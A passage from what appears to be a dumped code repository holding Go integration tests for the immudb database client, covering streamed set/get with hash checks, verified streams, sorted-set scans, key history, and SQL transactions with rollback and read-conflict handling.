bs.NewAuthenticatedClient(ic.DefaultOptions().WithDir(t.TempDir()))\n\trequire.NoError(t, err)\n\tclient.WithStreamServiceFactory(sfm)\n\n\t_, err = client.StreamZScan(context.Background(), &schema.ZScanRequest{Set: []byte(`key`)})\n\trequire.ErrorContains(t, err, \"custom one\")\n\n\t_, err = client.StreamHistory(context.Background(), &schema.HistoryRequest{Key: []byte(`key`)})\n\trequire.ErrorContains(t, err, \"custom one\")\n}\n\nfunc TestImmuClient_ChunkToChunkGetStream(t *testing.T) {\n\t_, client := setupTest(t)\n\n\tfile_size := 1_000_000\n\ttmpFile, err := streamtest.GenerateDummyFile(\"myFile1\", file_size)\n\trequire.NoError(t, err)\n\tdefer tmpFile.Close()\n\tdefer os.Remove(tmpFile.Name())\n\n\ttmpFile.Seek(0, io.SeekStart)\n\n\tkvs, err := streamutils.GetKeyValuesFromFiles(tmpFile.Name())\n\trequire.NoError(t, err)\n\n\thdr, err := client.StreamSet(context.Background(), kvs)\n\trequire.NoError(t, err)\n\trequire.NotNil(t, hdr)\n\n\tsc := client.GetServiceClient()\n\tgs, err := sc.StreamGet(context.Background(), &schema.KeyRequest{Key: []byte(tmpFile.Name())})\n\trequire.NoError(t, err)\n\n\tkvr := stream.NewKvStreamReceiver(stream.NewMsgReceiver(gs), stream.DefaultChunkSize)\n\n\t_, vr, err := kvr.Next()\n\trequire.NoError(t, err)\n\n\tl := 0\n\tchunk := make([]byte, 4096)\n\tfor {\n\t\tr, err := vr.Read(chunk)\n\t\tif err != nil && err != io.EOF {\n\t\t\tlog.Fatal(err)\n\t\t}\n\t\tif err == io.EOF {\n\t\t\tbreak\n\t\t}\n\t\tl += r\n\t}\n\n\trequire.Equal(t, file_size, l)\n}\n\ntype ServiceFactoryMock struct {\n\tNewMsgSenderF   func(str stream.ImmuServiceSender_Stream) stream.MsgSender\n\tNewMsgReceiverF func(str stream.ImmuServiceReceiver_Stream) stream.MsgReceiver\n\n\tNewKvStreamReceiverF func(str stream.MsgReceiver) stream.KvStreamReceiver\n\tNewKvStreamSenderF   func(str stream.MsgSender) stream.KvStreamSender\n\n\tNewVEntryStreamReceiverF func(str stream.MsgReceiver) stream.VEntryStreamReceiver\n\tNewVEntryStreamSenderF   func(str stream.MsgSender) stream.VEntryStreamSender\n\n\tNewZStreamReceiverF func(str stream.MsgReceiver) stream.ZStreamReceiver\n\tNewZStreamSenderF   func(str stream.MsgSender) stream.ZStreamSender\n\n\tNewExecAllStreamReceiverF func(str stream.MsgReceiver) stream.ExecAllStreamReceiver\n\tNewExecAllStreamSenderF   func(str stream.MsgSender) stream.ExecAllStreamSender\n}\n\nfunc (sfm *ServiceFactoryMock) NewMsgReceiver(str stream.ImmuServiceReceiver_Stream) stream.MsgReceiver {\n\treturn sfm.NewMsgReceiverF(str)\n}\n\nfunc (sfm *ServiceFactoryMock) NewMsgSender(str stream.ImmuServiceSender_Stream) stream.MsgSender {\n\treturn sfm.NewMsgSenderF(str)\n}\n\nfunc (sfm *ServiceFactoryMock) NewKvStreamReceiver(str stream.MsgReceiver) stream.KvStreamReceiver {\n\treturn sfm.NewKvStreamReceiverF(str)\n}\n\nfunc (sfm *ServiceFactoryMock) NewKvStreamSender(str stream.MsgSender) stream.KvStreamSender {\n\treturn sfm.NewKvStreamSenderF(str)\n}\n\nfunc (sfm *ServiceFactoryMock) NewVEntryStreamReceiver(str stream.MsgReceiver) stream.VEntryStreamReceiver {\n\treturn sfm.NewVEntryStreamReceiverF(str)\n}\n\nfunc (sfm *ServiceFactoryMock) NewVEntryStreamSender(str stream.MsgSender) stream.VEntryStreamSender {\n\treturn sfm.NewVEntryStreamSenderF(str)\n}\n\nfunc (sfm *ServiceFactoryMock) NewZStreamReceiver(str stream.MsgReceiver) stream.ZStreamReceiver {\n\treturn sfm.NewZStreamReceiverF(str)\n}\n\nfunc (sfm *ServiceFactoryMock) NewZStreamSender(str stream.MsgSender) stream.ZStreamSender {\n\treturn sfm.NewZStreamSenderF(str)\n}\n\nfunc (sfm *ServiceFactoryMock) NewExecAllStreamSender(str stream.MsgSender) stream.ExecAllStreamSender {\n\treturn sfm.NewExecAllStreamSenderF(str)\n}\n\nfunc (sfm *ServiceFactoryMock) NewExecAllStreamReceiver(str stream.MsgReceiver) stream.ExecAllStreamReceiver {\n\treturn sfm.NewExecAllStreamReceiverF(str)\n}\n\nfunc DefaultServiceFactoryMock() *ServiceFactoryMock {\n\treturn &ServiceFactoryMock{}\n}\n\nfunc TestImmuClient_SessionSetGetStream(t *testing.T) {\n\t_, client := setupTest(t)\n\n\ttmpFile, err := streamtest.GenerateDummyFile(\"myFile1\", 1_000_000)\n\trequire.NoError(t, err)\n\tdefer tmpFile.Close()\n\tdefer os.Remove(tmpFile.Name())\n\n\thOrig := sha256.New()\n\t_, err = io.Copy(hOrig, tmpFile)\n\trequire.NoError(t, err)\n\toriSha := hOrig.Sum(nil)\n\n\ttmpFile.Seek(0, io.SeekStart)\n\n\tkvs, err := streamutils.GetKeyValuesFromFiles(tmpFile.Name())\n\trequire.NoError(t, err)\n\n\thdr, err := client.StreamSet(context.Background(), kvs)\n\trequire.NoError(t, err)\n\trequire.NotNil(t, hdr)\n\n\tentry, err := client.StreamGet(context.Background(), &schema.KeyRequest{Key: []byte(tmpFile.Name())})\n\trequire.NoError(t, err)\n\trequire.NotNil(t, hdr)\n\n\tnewSha := sha256.Sum256(entry.Value)\n\n\terr = client.CloseSession(context.Background())\n\trequire.NoError(t, err)\n\n\trequire.Equal(t, oriSha, newSha[:])\n}\n"
  },
  {
    "path": "pkg/integration/stream/streams_verified_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage integration\n\nimport (\n\t\"context\"\n\t\"crypto/sha256\"\n\t\"fmt\"\n\t\"io\"\n\t\"os\"\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\t\"github.com/codenotary/immudb/pkg/stream/streamtest\"\n\t\"github.com/codenotary/immudb/pkg/streamutils\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestImmuClient_StreamVerifiedSetAndGet(t *testing.T) {\n\t_, client := setupTest(t)\n\n\tnbFiles := 3\n\tfileNames := make([]string, 0, nbFiles)\n\thashes := make([][]byte, 0, nbFiles)\n\n\tfor i := 1; i <= nbFiles; i++ {\n\t\ttmpFile, err := streamtest.GenerateDummyFile(\n\t\t\tfmt.Sprintf(\"TestImmuClient_StreamVerifiedSetAndGet_InputFile_%d\", i),\n\t\t\t1<<(10+i))\n\t\trequire.NoError(t, err)\n\t\tdefer tmpFile.Close()\n\t\tdefer os.Remove(tmpFile.Name())\n\n\t\thash := sha256.New()\n\t\t_, err = io.Copy(hash, tmpFile)\n\t\trequire.NoError(t, err)\n\t\thashSum := hash.Sum(nil)\n\n\t\tfileNames = append(fileNames, tmpFile.Name())\n\t\thashes = append(hashes, hashSum)\n\t}\n\n\t// split the KVs so that the last one is set and get separately, so that\n\t// StreamVerifiedSet gets called a second time (to catch also the case when\n\t// local state exists and the verification is actually run)\n\tfileNames1 := fileNames[:len(fileNames)-1]\n\tlastFileName := fileNames[len(fileNames)-1]\n\tkvs1, err := streamutils.GetKeyValuesFromFiles(fileNames1...)\n\trequire.NoError(t, err)\n\tlastKv, err := streamutils.GetKeyValuesFromFiles(lastFileName)\n\trequire.NoError(t, err)\n\n\t// set and get all but the last one\n\thdr, err := client.StreamVerifiedSet(context.Background(), kvs1)\n\trequire.NoError(t, err)\n\trequire.NotNil(t, hdr)\n\n\tfor i, fileName := range fileNames1 {\n\t\tentry, err := client.StreamVerifiedGet(context.Background(), &schema.VerifiableGetRequest{\n\t\t\tKeyRequest: &schema.KeyRequest{Key: []byte(fileName)},\n\t\t})\n\t\trequire.NoError(t, err)\n\t\tnewSha1 := sha256.Sum256(entry.Value)\n\t\trequire.Equal(t, hashes[i], newSha1[:])\n\t}\n\n\t// set and get the last one\n\thdr, err = client.StreamVerifiedSet(context.Background(), lastKv)\n\trequire.NoError(t, err)\n\trequire.NotNil(t, hdr)\n\n\tentry, err := client.StreamVerifiedGet(context.Background(), &schema.VerifiableGetRequest{\n\t\tKeyRequest: &schema.KeyRequest{Key: []byte(lastFileName)},\n\t})\n\trequire.NoError(t, err)\n\tnewSha1 := sha256.Sum256(entry.Value)\n\trequire.Equal(t, hashes[len(hashes)-1], newSha1[:])\n}\n"
  },
  {
    "path": "pkg/integration/stream/streams_zscan_and_history_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage integration\n\nimport (\n\t\"bufio\"\n\t\"bytes\"\n\t\"context\"\n\t\"fmt\"\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\t\"github.com/codenotary/immudb/pkg/stream\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestImmuClient_StreamZScan(t *testing.T) {\n\t_, client := setupTest(t)\n\n\tkvs := []*stream.KeyValue{}\n\n\tfor i := 1; i <= 100; i++ {\n\t\tk := []byte(fmt.Sprintf(\"key-%d\", i))\n\t\tv := []byte(fmt.Sprintf(\"val-%d\", i))\n\t\tkv := &stream.KeyValue{\n\t\t\tKey: &stream.ValueSize{\n\t\t\t\tContent: bufio.NewReader(bytes.NewBuffer(k)),\n\t\t\t\tSize:    len(k),\n\t\t\t},\n\t\t\tValue: &stream.ValueSize{\n\t\t\t\tContent: bufio.NewReader(bytes.NewBuffer(v)),\n\t\t\t\tSize:    len(v),\n\t\t\t},\n\t\t}\n\t\tkvs = append(kvs, kv)\n\t}\n\n\thdr, err := client.StreamSet(context.Background(), kvs)\n\trequire.NoError(t, err)\n\trequire.NotNil(t, hdr)\n\n\tset := \"StreamZScanTestSet\"\n\tsetBytes := []byte(set)\n\tfor i := range kvs {\n\t\trequire.NoError(t, err)\n\t\t_, err = client.ZAdd(\n\t\t\tcontext.Background(), setBytes, float64((i+1)*10), []byte(fmt.Sprintf(\"key-%d\", i+1)))\n\t\trequire.NoError(t, err)\n\t}\n\n\tzScanResp, err := client.StreamZScan(context.Background(), &schema.ZScanRequest{Set: setBytes, SinceTx: hdr.Id})\n\n\trequire.Len(t, zScanResp.Entries, 100)\n}\n\nfunc TestImmuClient_StreamHistory(t *testing.T) {\n\t_, client := setupTest(t)\n\n\tvar hdr *schema.TxHeader\n\tvar err error\n\n\tk := []byte(\"StreamHistoryTestKey\")\n\tfor i := 1; i <= 100; i++ {\n\t\tv := []byte(fmt.Sprintf(\"val-%d\", i))\n\t\tkv := &stream.KeyValue{\n\t\t\tKey: &stream.ValueSize{\n\t\t\t\tContent: bufio.NewReader(bytes.NewBuffer(k)),\n\t\t\t\tSize:    len(k),\n\t\t\t},\n\t\t\tValue: &stream.ValueSize{\n\t\t\t\tContent: bufio.NewReader(bytes.NewBuffer(v)),\n\t\t\t\tSize:    len(v),\n\t\t\t},\n\t\t}\n\t\thdr, err = client.StreamSet(context.Background(), []*stream.KeyValue{kv})\n\t\trequire.NoError(t, err)\n\t\trequire.NotNil(t, hdr)\n\t}\n\n\thistoryResp, err := client.StreamHistory(context.Background(), &schema.HistoryRequest{Key: k, SinceTx: hdr.Id})\n\trequire.NoError(t, err)\n\n\trequire.Len(t, historyResp.Entries, 100)\n}\n"
  },
  {
    "path": "pkg/integration/tx/transaction_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage integration\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\timmudb \"github.com/codenotary/immudb/pkg/client\"\n\t\"github.com/codenotary/immudb/pkg/client/errors\"\n\t\"github.com/codenotary/immudb/pkg/database\"\n\t\"github.com/codenotary/immudb/pkg/server\"\n\t\"github.com/codenotary/immudb/pkg/server/servertest\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc setupTest(t *testing.T, maxResultSize int) (*servertest.BufconnServer, immudb.ImmuClient) {\n\toptions := server.DefaultOptions().WithDir(t.TempDir())\n\tif maxResultSize > 0 {\n\t\toptions = options.WithMaxResultSize(maxResultSize)\n\t}\n\tbs := servertest.NewBufconnServer(options)\n\n\tbs.Start()\n\tt.Cleanup(func() { bs.Stop() })\n\n\tcliOpts := immudb.DefaultOptions().WithDir(t.TempDir())\n\tclient, err := bs.NewAuthenticatedClient(cliOpts)\n\trequire.NoError(t, err)\n\n\tt.Cleanup(func() { client.CloseSession(context.Background()) })\n\n\treturn bs, client\n}\n\nfunc TestTransaction_SetAndGet(t *testing.T) {\n\t_, client := setupTest(t, -1)\n\n\t// tx mode\n\ttx, err := client.NewTx(context.Background(), immudb.UnsafeMVCC(), immudb.SnapshotMustIncludeTxID(0), immudb.SnapshotRenewalPeriod(0))\n\trequire.NoError(t, err)\n\n\terr = tx.SQLExec(context.Background(), `CREATE TABLE table1(\n\t\tid INTEGER,\n\t\ttitle VARCHAR,\n\t\tactive BOOLEAN,\n\t\tpayload BLOB,\n\t\tPRIMARY KEY id\n\t\t);`, nil)\n\trequire.NoError(t, err)\n\n\ttxH, err := tx.Commit(context.Background())\n\trequire.NoError(t, err)\n\trequire.NotNil(t, txH)\n\n\ttx, err = client.NewTx(context.Background(), immudb.UnsafeMVCC(), immudb.SnapshotMustIncludeTxID(0), immudb.SnapshotRenewalPeriod(0))\n\trequire.NoError(t, err)\n\n\tparams := make(map[string]interface{})\n\tparams[\"id\"] = 1\n\tparams[\"title\"] = \"title1\"\n\tparams[\"active\"] = true\n\tparams[\"payload\"] = []byte{1, 2, 3}\n\n\terr = tx.SQLExec(context.Background(), \"INSERT INTO table1(id, title, active, payload) VALUES (@id, @title, @active, @payload), (2, 'title2', false, NULL), (3, NULL, NULL, x'AED0393F')\", params)\n\trequire.NoError(t, err)\n\n\tres, err := tx.SQLQuery(context.Background(), \"SELECT t.id as id, title FROM table1 t WHERE id <= 3 AND active = @active\", params)\n\trequire.NoError(t, err)\n\trequire.NotNil(t, res)\n\n\ttxH, err = tx.Commit(context.Background())\n\trequire.NoError(t, err)\n\trequire.NotNil(t, txH)\n\n\terr = client.CloseSession(context.Background())\n\trequire.NoError(t, err)\n}\n\nfunc TestTransaction_SQLReader(t *testing.T) {\n\t_, client := setupTest(t, 2)\n\n\t_, err := client.SQLExec(context.Background(), `CREATE TABLE table1(\n\t\tid INTEGER,\n\t\ttitle VARCHAR[100],\n\n\t\tPRIMARY KEY id\n\t\t);`, nil)\n\trequire.NoError(t, err)\n\n\tfor i := 0; i < 10; i++ {\n\t\tparams := map[string]interface{}{\n\t\t\t\"id\":    i + 1,\n\t\t\t\"title\": fmt.Sprintf(\"title%d\", i),\n\t\t}\n\t\t_, err := client.SQLExec(context.Background(), \"INSERT INTO table1(id, title) VALUES (@id, @title)\", params)\n\t\trequire.NoError(t, err)\n\t}\n\n\ttx, err := client.NewTx(context.Background())\n\trequire.NoError(t, err)\n\tdefer tx.Rollback(context.Background())\n\n\t_, err = tx.SQLQuery(context.Background(), \"SELECT id, title FROM table1\", nil)\n\trequire.ErrorContains(t, err, database.ErrResultSizeLimitReached.Error())\n\n\treader, err := tx.SQLQueryReader(context.Background(), \"SELECT id, title FROM table1\", nil)\n\trequire.NoError(t, err)\n\n\tn := 0\n\tfor reader.Next() {\n\t\trow, err := reader.Read()\n\t\trequire.NoError(t, err)\n\t\trequire.Len(t, row, 2)\n\t\trequire.Equal(t, int64(n+1), row[0])\n\t\trequire.Equal(t, fmt.Sprintf(\"title%d\", n), row[1])\n\n\t\tn++\n\t}\n\n\trequire.Equal(t, 10, n)\n}\n\nfunc TestTransaction_Rollback(t *testing.T) {\n\t_, client := setupTest(t, -1)\n\n\t_, err := client.SQLExec(context.Background(), \"CREATE DATABASE db1;\", nil)\n\trequire.NoError(t, err)\n\n\t_, err = client.SQLExec(context.Background(), \"USE db1;\", nil)\n\trequire.NoError(t, err)\n\n\tres, err := client.SQLQuery(context.Background(), \"SELECT * FROM databases();\", nil, true)\n\trequire.NoError(t, err)\n\trequire.NotNil(t, res)\n\trequire.Len(t, res.Rows, 2)\n\trequire.Equal(t, \"defaultdb\", res.Rows[0].Values[0].GetS())\n\trequire.Equal(t, \"db1\", res.Rows[1].Values[0].GetS())\n\n\ttx, err := client.NewTx(context.Background())\n\trequire.NoError(t, err)\n\n\terr = tx.SQLExec(context.Background(), `CREATE TABLE table1(\n\t\tid INTEGER,\n\t\tPRIMARY KEY id\n\t\t);`, nil)\n\trequire.NoError(t, err)\n\n\terr = tx.Rollback(context.Background())\n\trequire.NoError(t, err)\n\n\terr = tx.Rollback(context.Background())\n\trequire.ErrorContains(t, err, \"no transaction found\")\n\n\ttx1, err := client.NewTx(context.Background())\n\trequire.NoError(t, err)\n\n\tres, err = tx1.SQLQuery(context.Background(), \"SELECT * FROM table1\", nil)\n\trequire.ErrorContains(t, err, \"table does not exist (table1)\")\n\trequire.Nil(t, res)\n\n\terr = client.CloseSession(context.Background())\n\trequire.NoError(t, err)\n}\n\nfunc TestTransaction_MultipleReadWriteTransactions(t *testing.T) {\n\t_, client := setupTest(t, -1)\n\n\ttx1, err := client.NewTx(context.Background())\n\trequire.NoError(t, err)\n\n\ttx2, err := client.NewTx(context.Background())\n\trequire.NoError(t, err)\n\n\t_, err = tx1.Commit(context.Background())\n\trequire.NoError(t, err)\n\n\t_, err = tx2.Commit(context.Background())\n\trequire.NoError(t, err)\n}\n\nfunc TestTransaction_ChangingDBOnSessionNoError(t *testing.T) {\n\tbs, client := setupTest(t, -1)\n\n\ttxDefaultDB, err := client.NewTx(context.Background())\n\trequire.NoError(t, err)\n\n\terr = txDefaultDB.SQLExec(context.Background(), `CREATE TABLE tableDefaultDB(id INTEGER,PRIMARY KEY id);`, nil)\n\trequire.NoError(t, err)\n\n\tclient2, err := bs.NewAuthenticatedClient(immudb.DefaultOptions().WithDir(t.TempDir()))\n\trequire.NoError(t, err)\n\n\terr = client2.CreateDatabase(context.Background(), &schema.DatabaseSettings{DatabaseName: \"db2\"})\n\trequire.NoError(t, err)\n\n\t_, err = client2.UseDatabase(context.Background(), &schema.Database{DatabaseName: \"db2\"})\n\trequire.NoError(t, err)\n\n\ttxDb2, err := client2.NewTx(context.Background())\n\trequire.NoError(t, err)\n\n\terr = txDb2.SQLExec(context.Background(), `CREATE TABLE tableDB2(id INTEGER,PRIMARY KEY id);`, nil)\n\trequire.NoError(t, err)\n\n\terr = txDb2.SQLExec(context.Background(), \"INSERT INTO tableDB2(id) VALUES (1)\", nil)\n\trequire.NoError(t, err)\n\n\ttxh1, err := txDefaultDB.Commit(context.Background())\n\trequire.NoError(t, err)\n\trequire.NotNil(t, txh1.Header.Ts)\n\n\ttxh2, err := txDb2.Commit(context.Background())\n\trequire.NoError(t, err)\n\trequire.NotNil(t, txh2.Header.Ts)\n\n\t_, err = client.UseDatabase(context.Background(), &schema.Database{DatabaseName: \"db2\"})\n\trequire.NoError(t, err)\n\n\tris, err := client.SQLQuery(context.Background(), `SELECT * FROM tableDB2;`, nil, true)\n\trequire.NoError(t, err)\n\trequire.Equal(t, 1, len(ris.Rows))\n\n\terr = client.CloseSession(context.Background())\n\trequire.NoError(t, err)\n\n\terr = client2.CloseSession(context.Background())\n\trequire.NoError(t, err)\n}\n\nfunc TestTransaction_MultiNoErr(t *testing.T) {\n\t_, client := setupTest(t, -1)\n\tctx := context.Background()\n\n\ttx, err := client.NewTx(ctx)\n\trequire.NoError(t, err)\n\n\terr = tx.SQLExec(ctx, `\n\t\tCREATE TABLE IF NOT EXISTS balance(\n\t\t\tid INTEGER,\n\t\t\tbalance INTEGER,\n\t\t\tPRIMARY KEY(id)\n\t\t)\n\t\t`, nil)\n\trequire.NoError(t, err)\n\n\terr = tx.SQLExec(ctx, `\n\t\tUPSERT INTO balance(id, balance) VALUES(1,100),(2,1500)\n\t\t`, nil)\n\trequire.NoError(t, err)\n\n\t_, err = tx.Commit(ctx)\n\trequire.NoError(t, err)\n\n\ttx, err = client.NewTx(ctx)\n\trequire.NoError(t, err)\n\n\tqr, err := tx.SQLQuery(ctx, \"SELECT balance FROM balance WHERE id = 1\", nil)\n\trequire.NoError(t, err)\n\trequire.EqualValues(t, 100, qr.Rows[0].Values[0].GetN())\n\n\tqr, err = client.SQLQuery(ctx, \"SELECT balance FROM balance WHERE id = 1\", nil, true)\n\trequire.NoError(t, err)\n\trequire.EqualValues(t, 100, qr.Rows[0].Values[0].GetN())\n\n\tupdateStmt := func(id, price int) (context.Context, string, map[string]interface{}) {\n\t\treturn ctx,\n\t\t\t\"UPDATE balance SET balance = balance - @price WHERE id = @id AND balance - @price >= 0\",\n\t\t\tmap[string]interface{}{\n\t\t\t\t\"id\":    id,\n\t\t\t\t\"price\": price,\n\t\t\t}\n\t}\n\n\tres, err := client.SQLExec(updateStmt(1, 10))\n\trequire.NoError(t, err)\n\trequire.EqualValues(t, res.Txs[0].UpdatedRows, 1)\n\n\tqr, err = tx.SQLQuery(ctx, \"SELECT balance FROM balance WHERE id = 1\", nil)\n\trequire.NoError(t, err)\n\trequire.EqualValues(t, 100, qr.Rows[0].Values[0].GetN())\n\n\tqr, err = client.SQLQuery(ctx, \"SELECT balance FROM balance WHERE id = 1\", nil, true)\n\trequire.NoError(t, err)\n\trequire.EqualValues(t, 90, qr.Rows[0].Values[0].GetN())\n\n\terr = tx.SQLExec(updateStmt(1, 10))\n\trequire.NoError(t, err)\n\t_, err = tx.Commit(ctx)\n\trequire.EqualError(t, err, \"tx read conflict\")\n\trequire.Equal(t, err.(errors.ImmuError).Code(), errors.CodInFailedSqlTransaction)\n\n\ttxn, err := client.NewTx(ctx)\n\trequire.NoError(t, err)\n\n\t_, err = txn.SQLQuery(ctx, \"SELECT balance FROM balance WHERE id = 1\", nil)\n\trequire.NoError(t, err)\n\n\terr = txn.Rollback(ctx)\n\trequire.NoError(t, err)\n\n\terr = client.CloseSession(ctx)\n\trequire.NoError(t, err)\n\n\t_, err = client.NewTx(ctx)\n\trequire.ErrorIs(t, err, immudb.ErrNotConnected)\n}\n\nfunc TestTransaction_HandlingReadConflict(t *testing.T) {\n\t_, client := setupTest(t, -1)\n\tctx := context.Background()\n\n\ttx, err := client.NewTx(ctx)\n\trequire.NoError(t, err)\n\n\terr = tx.SQLExec(ctx, `\n\t\tCREATE TABLE IF NOT EXISTS balance(\n\t\t\tid INTEGER,\n\t\t\tbalance INTEGER,\n\t\t\tPRIMARY KEY(id)\n\t\t)\n\t\t`, nil)\n\trequire.NoError(t, err)\n\n\terr = tx.SQLExec(ctx, `\n\t\tUPSERT INTO balance(id, balance) VALUES(1,100),(2,1500)\n\t\t`, nil)\n\trequire.NoError(t, err)\n\n\t_, err = tx.Commit(ctx)\n\trequire.NoError(t, err)\n\n\ttx, err = client.NewTx(ctx)\n\trequire.NoError(t, err)\n\n\tqr, err := tx.SQLQuery(ctx, \"SELECT balance FROM balance WHERE id = 1\", nil)\n\trequire.NoError(t, err)\n\trequire.EqualValues(t, 100, qr.Rows[0].Values[0].GetN())\n\n\tqr, err = client.SQLQuery(ctx, \"SELECT balance FROM balance WHERE id = 1\", nil, true)\n\trequire.NoError(t, err)\n\trequire.EqualValues(t, 100, qr.Rows[0].Values[0].GetN())\n\n\tupdateStmt := func(id, price int) (context.Context, string, map[string]interface{}) {\n\t\treturn ctx,\n\t\t\t\"UPDATE balance SET balance = balance - @price WHERE id = @id AND balance - @price >= 0\",\n\t\t\tmap[string]interface{}{\n\t\t\t\t\"id\":    id,\n\t\t\t\t\"price\": price,\n\t\t\t}\n\t}\n\n\tres, err := client.SQLExec(updateStmt(1, 10))\n\trequire.NoError(t, err)\n\trequire.EqualValues(t, res.Txs[0].UpdatedRows, 1)\n\n\tqr, err = tx.SQLQuery(ctx, \"SELECT balance FROM balance WHERE id = 1\", nil)\n\trequire.NoError(t, err)\n\trequire.EqualValues(t, 100, qr.Rows[0].Values[0].GetN())\n\n\tqr, err = client.SQLQuery(ctx, \"SELECT balance FROM balance WHERE id = 1\", nil, true)\n\trequire.NoError(t, err)\n\trequire.EqualValues(t, 90, qr.Rows[0].Values[0].GetN())\n\n\terr = tx.SQLExec(updateStmt(1, 10))\n\trequire.NoError(t, err)\n\t_, err = tx.Commit(ctx)\n\trequire.EqualError(t, err, \"tx read conflict\")\n\n\terr = client.CloseSession(ctx)\n\trequire.NoError(t, err)\n}\n"
  },
  {
    "path": "pkg/integration/tx/tx_entries_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage integration\n\nimport (\n\t\"context\"\n\t\"crypto/sha256\"\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc Test_GetTransactionEntries(t *testing.T) {\n\t_, client := setupTest(t, -1)\n\n\thdr, err := client.ExecAll(context.Background(), &schema.ExecAllRequest{\n\t\tOperations: []*schema.Op{\n\t\t\t{\n\t\t\t\tOperation: &schema.Op_Kv{\n\t\t\t\t\tKv: &schema.KeyValue{\n\t\t\t\t\t\tKey:   []byte(\"key1\"),\n\t\t\t\t\t\tValue: []byte(\"value1\"),\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\t{\n\t\t\t\tOperation: &schema.Op_Ref{\n\t\t\t\t\tRef: &schema.ReferenceRequest{\n\t\t\t\t\t\tKey:           []byte(\"ref1\"),\n\t\t\t\t\t\tReferencedKey: []byte(\"key1\"),\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\t{\n\t\t\t\tOperation: &schema.Op_ZAdd{\n\t\t\t\t\tZAdd: &schema.ZAddRequest{\n\t\t\t\t\t\tSet:   []byte(\"set1\"),\n\t\t\t\t\t\tScore: 10,\n\t\t\t\t\t\tKey:   []byte(\"key1\"),\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t})\n\trequire.NoError(t, err)\n\n\tt.Run(\"all entries should be resolved\", func(t *testing.T) {\n\t\ttx, err := client.TxByIDWithSpec(context.Background(),\n\t\t\t&schema.TxRequest{\n\t\t\t\tTx: hdr.Id,\n\t\t\t\tEntriesSpec: &schema.EntriesSpec{\n\t\t\t\t\tKvEntriesSpec: &schema.EntryTypeSpec{\n\t\t\t\t\t\tAction: schema.EntryTypeAction_RESOLVE,\n\t\t\t\t\t},\n\t\t\t\t\tZEntriesSpec: &schema.EntryTypeSpec{\n\t\t\t\t\t\tAction: schema.EntryTypeAction_RESOLVE,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t})\n\t\trequire.NoError(t, err)\n\t\trequire.Empty(t, tx.Entries)\n\t\trequire.Len(t, tx.KvEntries, 2)\n\t\trequire.Len(t, tx.ZEntries, 1)\n\n\t\trequire.Equal(t, []byte(\"key1\"), tx.KvEntries[0].Key)\n\t\trequire.Equal(t, []byte(\"value1\"), tx.KvEntries[0].Value)\n\n\t\trequire.Equal(t, []byte(\"key1\"), tx.KvEntries[1].Key)\n\t\trequire.Equal(t, []byte(\"value1\"), tx.KvEntries[1].Value)\n\t\trequire.NotNil(t, tx.KvEntries[1].ReferencedBy)\n\t\trequire.Equal(t, []byte(\"ref1\"), tx.KvEntries[1].ReferencedBy.Key)\n\n\t\trequire.Equal(t, []byte(\"set1\"), tx.ZEntries[0].Set)\n\t\trequire.Equal(t, []byte(\"key1\"), tx.ZEntries[0].Key)\n\t\trequire.Equal(t, float64(10), tx.ZEntries[0].Score)\n\t})\n\n\tt.Run(\"only resolved kv entries should be returned\", func(t *testing.T) {\n\t\ttx, err := client.TxByIDWithSpec(context.Background(),\n\t\t\t&schema.TxRequest{\n\t\t\t\tTx: hdr.Id,\n\t\t\t\tEntriesSpec: &schema.EntriesSpec{\n\t\t\t\t\tKvEntriesSpec: &schema.EntryTypeSpec{\n\t\t\t\t\t\tAction: schema.EntryTypeAction_RESOLVE,\n\t\t\t\t\t},\n\t\t\t\t\tZEntriesSpec: &schema.EntryTypeSpec{\n\t\t\t\t\t\tAction: schema.EntryTypeAction_EXCLUDE,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t})\n\t\trequire.NoError(t, err)\n\t\trequire.Empty(t, 